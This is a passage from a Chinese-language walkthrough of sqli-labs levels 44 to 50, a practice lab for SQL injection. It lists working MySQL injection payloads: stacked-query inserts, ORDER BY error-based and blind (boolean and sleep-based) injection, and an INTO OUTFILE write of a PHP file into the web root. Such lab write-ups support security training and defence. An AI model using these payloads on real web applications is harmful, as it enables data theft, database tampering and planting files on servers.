但是数据库有了
第四十四关
同上42,只是没有回显信息
login_user=a&login_password=a‘;insert into users(id,username,password) values(19,‘a‘,‘a‘) --+&mysubmit=Login
看数据库
第四十五关
和第四十三关一样,区别是没有回显
login_user=a&login_password=a‘); insert into users(id,username,password) values(20,‘‘c‘,‘c‘) --+&mysubmit=Log
数据库里也有了
第四十六关
终于迎来了一个过渡
这次的注入是通过order by 来进行的
通过sort 查询
?sort=1试一下撒,哇,一下子用户名密码全出了了,咱们这不是不用努力了。。。那咱看看这关还能干啥
既然要用order by语句进行注入,那首先我们通过asc 和desc查看返回数据是否相同来简单判断是否存在order by注入
为什么说他是order by注入 因为在源代码中是这样的 $sql = "SELECT * FROM users ORDER BY $id";
?sort=1+asc (正序)
?sort=1+desc (倒序)
我们首先想想我们应该怎样注入 ,我们呢来获取一下啊别的啥的东西版本数据库名啥的
order by 后的数字可以作为一个注入点。也就是构造order by 后的一个语句,让该语句执行结果为一个数,我们尝试
没有报错,right换成left都一样,说明数字没有起作用,我们考虑布尔类型。此时我们可以用报错注入和延时注入
?sort=right(version(),1) ?sort=left(version(),1) 效果是一样的
此处可以直接构造 ?sort= 后面的一个参数。此时,我们可以有三种形式,
①直接添加注入语句,?sort=(select ******)
②利用一些函数。例如rand()函数等。?sort=rand(sql语句)
Ps:此处我们可以展示一下rand(ture)和rand(false)的结果是不一样的。所以我们用rand来检查我们后面输入的是否对
③利用and,例如?sort=1 and (加sql语句)。
同时,sql语句可以利用报错注入和延时注入的方式,语句我们可以很灵活的构造。
报错注入
获取数据库名 ?sort=1 and(updatexml(1,concat(0x7e,(select database())),0))
获取数据库的权限?sort=(select count(*) from information_schema.columns group by concat(0x3a,(select user()),0x3a,0x3a,floor(rand()*2)))
获得数据库版本 ?sort=1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1)
布尔盲注
盲注获取数据库第一个字的ascii码(其他的不再演示了)
正则表达式注入 ?sort=1 ^(select(select version()) regexp ‘^5‘)发现版本
第四十七关
和上一关一样,加个单引号就可以啦
获取数据库使用权限
?sort=1‘and (select count(*) from information_schema.columns group by concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand()*2)))--+
获得数据库版本 ?sort=1‘and (select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x)--+
也可以程序分析参数后注入 ?sort=1‘procedure analyse(extractvalue(rand(),concat(0x3a,version())),1)--+
当然也可以时间盲注 ?sort=1‘ and If(ascii(substr(database(),1,1))=116,0,sleep(3))--+
第四十八关
这关是盲注 order by 数字型盲注
布尔盲注 ?sort=rand(ascii(left(database(),1))=178)
时间盲注 ?sort=1 and If(ascii(substr(database(),1,1))=116,0,sleep(3))--+
第四十九关
这关是盲注 order by 字符型盲注,和四十六关一样,只不过没有错误回显
在四十八关的基础上加上引号就行 ?sort=1‘ and If(ascii(substr(database(),1,1))=116,0,sleep(3))--+
这关还可以outfile进行写 ?sort=1 into outfile ‘C:\\phpStudy\\WWW\\sqli-labs-master\\Less-49\\longshisan.php‘
第五十关
这关我们就用堆叠注入 ?sort=1;create table test50 like users;%23
去数据库里看,发现有了